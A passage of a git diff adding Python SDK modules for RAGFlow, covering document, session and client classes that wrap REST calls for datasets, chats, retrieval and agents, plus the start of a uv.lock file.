http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import json + +from .base import Base +from .chunk import Chunk + + +class Document(Base): + class ParserConfig(Base): + def __init__(self, rag, res_dict): + super().__init__(rag, res_dict) + + def __init__(self, rag, res_dict): + self.id = "" + self.name = "" + self.thumbnail = None + self.dataset_id = None + self.chunk_method = "naive" + self.parser_config = {"pages": [[1, 1000000]]} + self.source_type = "local" + self.type = "" + self.created_by = "" + self.size = 0 + self.token_count = 0 + self.chunk_count = 0 + self.progress = 0.0 + self.progress_msg = "" + self.process_begin_at = None + self.process_duration = 0.0 + self.run = "0" + self.status = "1" + self.meta_fields = {} + for k in list(res_dict.keys()): + if k not in self.__dict__: + res_dict.pop(k) + super().__init__(rag, res_dict) + + def update(self, update_message: dict): + if "meta_fields" in update_message: + if not isinstance(update_message["meta_fields"], dict): + raise Exception("meta_fields must be a dictionary") + res = self.put(f"/datasets/{self.dataset_id}/documents/{self.id}", update_message) + res = res.json() + if res.get("code") != 0: + raise Exception(res["message"]) + + self._update_from_dict(self.rag, res.get("data", {})) + return self + + def download(self): + res = self.get(f"/datasets/{self.dataset_id}/documents/{self.id}") + error_keys = set(["code", "message"]) + try: + response = res.json() + actual_keys = set(response.keys()) + if actual_keys == error_keys: + raise Exception(res.get("message")) + else: + return res.content + except json.JSONDecodeError: + return res.content + + def list_chunks(self, page=1, page_size=30, keywords="", id=""): + data = {"keywords": keywords, "page": page, "page_size": page_size, "id": id} + res = self.get(f"/datasets/{self.dataset_id}/documents/{self.id}/chunks", data) + res = res.json() + if res.get("code") == 0: + chunks = [] + for data in res["data"].get("chunks"): + chunk = Chunk(self.rag, data) + chunks.append(chunk) + return chunks + raise Exception(res.get("message")) + + def add_chunk(self, content: str, important_keywords: list[str] = [], questions: list[str] = []): + res = self.post(f"/datasets/{self.dataset_id}/documents/{self.id}/chunks", {"content": content, "important_keywords": important_keywords, "questions": questions}) + res = res.json() + if res.get("code") == 0: + return Chunk(self.rag, res["data"].get("chunk")) + raise Exception(res.get("message")) + + def delete_chunks(self, ids: list[str] | None = None): + res = self.rm(f"/datasets/{self.dataset_id}/documents/{self.id}/chunks", {"chunk_ids": ids}) + res = res.json() + if res.get("code") != 0: + raise Exception(res.get("message")) diff --git a/sdk/python/ragflow_sdk/modules/session.py b/sdk/python/ragflow_sdk/modules/session.py new file mode 100644 index 0000000..d534c78 --- /dev/null +++ b/sdk/python/ragflow_sdk/modules/session.py @@ -0,0 +1,103 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import json + +from .base import Base + + +class Session(Base): + def __init__(self, rag, res_dict): + self.id = None + self.name = "New session" + self.messages = [{"role": "assistant", "content": "Hi! I am your assistant, can I help you?"}] + for key, value in res_dict.items(): + if key == "chat_id" and value is not None: + self.chat_id = None + self.__session_type = "chat" + if key == "agent_id" and value is not None: + self.agent_id = None + self.__session_type = "agent" + super().__init__(rag, res_dict) + + def ask(self, question="", stream=True, **kwargs): + if self.__session_type == "agent": + res = self._ask_agent(question, stream) + elif self.__session_type == "chat": + res = self._ask_chat(question, stream, **kwargs) + + if stream: + for line in res.iter_lines(): + line = line.decode("utf-8") + if line.startswith("{"): + json_data = json.loads(line) + raise Exception(json_data["message"]) + if not line.startswith("data:"): + continue + json_data = json.loads(line[5:]) + if json_data["data"] is True or json_data["data"].get("running_status"): + continue + message = self._structure_answer(json_data) + yield message + else: + try: + json_data = json.loads(res.text) + except ValueError: + raise Exception(f"Invalid response {res}") + return self._structure_answer(json_data) + + + def _structure_answer(self, json_data): + answer = json_data["data"]["answer"] + reference = json_data["data"].get("reference", {}) + temp_dict = { + "content": answer, + "role": "assistant" + } + if reference and "chunks" in reference: + chunks = reference["chunks"] + temp_dict["reference"] = chunks + message = Message(self.rag, temp_dict) + return message + + def _ask_chat(self, question: str, stream: bool, **kwargs): + json_data = {"question": question, "stream": stream, "session_id": self.id} + json_data.update(kwargs) + res = self.post(f"/chats/{self.chat_id}/completions", + json_data, stream=stream) + return res + + def _ask_agent(self, question: str, stream: bool): + res = self.post(f"/agents/{self.agent_id}/completions", + {"question": question, "stream": stream, "session_id": self.id}, stream=stream) + return res + + def update(self, update_message): + res = self.put(f"/chats/{self.chat_id}/sessions/{self.id}", + update_message) + res = res.json() + if res.get("code") != 0: + raise Exception(res.get("message")) + + +class Message(Base): + def __init__(self, rag, res_dict): + self.content = "Hi! I am your assistant, can I help you?" + self.reference = None + self.role = "assistant" + self.prompt = None + self.id = None + super().__init__(rag, res_dict) diff --git a/sdk/python/ragflow_sdk/ragflow.py b/sdk/python/ragflow_sdk/ragflow.py new file mode 100644 index 0000000..f200a6b --- /dev/null +++ b/sdk/python/ragflow_sdk/ragflow.py @@ -0,0 +1,285 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +from typing import Optional + +import requests + +from .modules.agent import Agent +from .modules.chat import Chat +from .modules.chunk import Chunk +from .modules.dataset import DataSet + + +class RAGFlow: + def __init__(self, api_key, base_url, version="v1"): + """ + api_url: http://<host_address>/api/v1 + """ + self.user_key = api_key + self.api_url = f"{base_url}/api/{version}" + self.authorization_header = {"Authorization": "{} {}".format("Bearer", self.user_key)} + + def post(self, path, json=None, stream=False, files=None): + res = requests.post(url=self.api_url + path, json=json, headers=self.authorization_header, stream=stream, files=files) + return res + + def get(self, path, params=None, json=None): + res = requests.get(url=self.api_url + path, params=params, headers=self.authorization_header, json=json) + return res + + def delete(self, path, json): + res = requests.delete(url=self.api_url + path, json=json, headers=self.authorization_header) + return res + + def put(self, path, json): + res = requests.put(url=self.api_url + path, json=json, headers=self.authorization_header) + return res + + def create_dataset( + self, + name: str, + avatar: Optional[str] = None, + description: Optional[str] = None, + embedding_model: Optional[str] = None, + permission: str = "me", + chunk_method: str = "naive", + parser_config: Optional[DataSet.ParserConfig] = None, + ) -> DataSet: + payload = { + "name": name, + "avatar": avatar, + "description": description, + "embedding_model": embedding_model, + "permission": permission, + "chunk_method": chunk_method, + } + if parser_config is not None: + payload["parser_config"] = parser_config.to_json() + + res = self.post("/datasets", payload) + res = res.json() + if res.get("code") == 0: + return DataSet(self, res["data"]) + raise Exception(res["message"]) + + def delete_datasets(self, ids: list[str] | None = None): + res = self.delete("/datasets", {"ids": ids}) + res = res.json() + if res.get("code") != 0: + raise Exception(res["message"]) + + def get_dataset(self, name: str): + _list = self.list_datasets(name=name) + if len(_list) > 0: + return _list[0] + raise Exception("Dataset %s not found" % name) + + def list_datasets(self, page: int = 1, page_size: int = 30, orderby: str = "create_time", desc: bool = True, id: str | None = None, name: str | None = None) -> list[DataSet]: + res = self.get( + "/datasets", + { + "page": page, + "page_size": page_size, + "orderby": orderby, + "desc": desc, + "id": id, + "name": name, + }, + ) + res = res.json() + result_list = [] + if res.get("code") == 0: + for data in res["data"]: + result_list.append(DataSet(self, data)) + return result_list + raise Exception(res["message"]) + + def create_chat(self, name: str, avatar: str = "", dataset_ids=None, llm: Chat.LLM | None = None, prompt: Chat.Prompt | None = None) -> Chat: + if dataset_ids is None: + dataset_ids = [] + dataset_list = [] + for id in dataset_ids: + dataset_list.append(id) + + if llm is None: + llm = Chat.LLM( + self, + { + "model_name": None, + "temperature": 0.1, + "top_p": 0.3, + "presence_penalty": 0.4, + "frequency_penalty": 0.7, + "max_tokens": 512, + }, + ) + if prompt is None: + prompt = Chat.Prompt( + self, + { + "similarity_threshold": 0.2, + "keywords_similarity_weight": 0.7, + "top_n": 8, + "top_k": 1024, + "variables": [{"key": "knowledge", "optional": True}], + "rerank_model": "", + "empty_response": None, + "opener": None, + "show_quote": True, + "prompt": None, + }, + ) + if prompt.opener is None: + prompt.opener = "Hi! I'm your assistant. What can I do for you?" + if prompt.prompt is None: + prompt.prompt = ( + "You are an intelligent assistant. Please summarize the content of the knowledge base to answer the question. " + "Please list the data in the knowledge base and answer in detail. When all knowledge base content is irrelevant to the question, " + "your answer must include the sentence 'The answer you are looking for is not found in the knowledge base!' " + "Answers need to consider chat history.\nHere is the knowledge base:\n{knowledge}\nThe above is the knowledge base." + ) + + temp_dict = {"name": name, "avatar": avatar, "dataset_ids": dataset_list if dataset_list else [], "llm": llm.to_json(), "prompt": prompt.to_json()} + res = self.post("/chats", temp_dict) + res = res.json() + if res.get("code") == 0: + return Chat(self, res["data"]) + raise Exception(res["message"]) + + def delete_chats(self, ids: list[str] | None = None): + res = self.delete("/chats", {"ids": ids}) + res = res.json() + if res.get("code") != 0: + raise Exception(res["message"]) + + def list_chats(self, page: int = 1, page_size: int = 30, orderby: str = "create_time", desc: bool = True, id: str | None = None, name: str | None = None) -> list[Chat]: + res = self.get( + "/chats", + { + "page": page, + "page_size": page_size, + "orderby": orderby, + "desc": desc, + "id": id, + "name": name, + }, + ) + res = res.json() + result_list = [] + if res.get("code") == 0: + for data in res["data"]: + result_list.append(Chat(self, data)) + return result_list + raise Exception(res["message"]) + + def retrieve( + self, + dataset_ids, + document_ids=None, + question="", + page=1, + page_size=30, + similarity_threshold=0.2, + vector_similarity_weight=0.3, + top_k=1024, + rerank_id: str | None = None, + keyword: bool = False, + cross_languages: list[str]|None = None, + metadata_condition: dict | None = None, + ): + if document_ids is None: + document_ids = [] + data_json = { + "page": page, + "page_size": page_size, + "similarity_threshold": similarity_threshold, + "vector_similarity_weight": vector_similarity_weight, + "top_k": top_k, + "rerank_id": rerank_id, + "keyword": keyword, + "question": question, + "dataset_ids": dataset_ids, + "document_ids": document_ids, + "cross_languages": cross_languages, + "metadata_condition": metadata_condition + } + # Send a POST request to the backend service (using requests library as an example, actual implementation may vary) + res = self.post("/retrieval", json=data_json) + res = res.json() + if res.get("code") == 0: + chunks = [] + for chunk_data in res["data"].get("chunks"): + chunk = Chunk(self, chunk_data) + chunks.append(chunk) + return chunks + raise Exception(res.get("message")) + + def list_agents(self, page: int = 1, page_size: int = 30, orderby: str = "update_time", desc: bool = True, id: str | None = None, title: str | None = None) -> list[Agent]: + res = self.get( + "/agents", + { + "page": page, + "page_size": page_size, + "orderby": orderby, + "desc": desc, + "id": id, + "title": title, + }, + ) + res = res.json() + result_list = [] + if res.get("code") == 0: + for data in res["data"]: + result_list.append(Agent(self, data)) + return result_list + raise Exception(res["message"]) + + def create_agent(self, title: str, dsl: dict, description: str | None = None) -> None: + req = {"title": title, "dsl": dsl} + + if description is not None: + req["description"] = description + + res = self.post("/agents", req) + res = res.json() + + if res.get("code") != 0: + raise Exception(res["message"]) + + def update_agent(self, agent_id: str, title: str | None = None, description: str | None = None, dsl: dict | None = None) -> None: + req = {} + + if title is not None: + req["title"] = title + + if description is not None: + req["description"] = description + + if dsl is not None: + req["dsl"] = dsl + + res = self.put(f"/agents/{agent_id}", req) + res = res.json() + + if res.get("code") != 0: + raise Exception(res["message"]) + + def delete_agent(self, agent_id: str) -> None: + res = self.delete(f"/agents/{agent_id}", {}) + res = res.json() + + if res.get("code") != 0: + raise Exception(res["message"]) diff --git a/sdk/python/uv.lock b/sdk/python/uv.lock new file mode 100644 index 0000000..0bbd80a --- /dev/null +++ b/sdk/python/uv.lock @@ -0,0 +1,487 @@ +version = 1 +revision = 1 +requires-python = ">=3.10, <3.13" + +[[package]] +name = "attrs" +version = "25.3.0" +source = { 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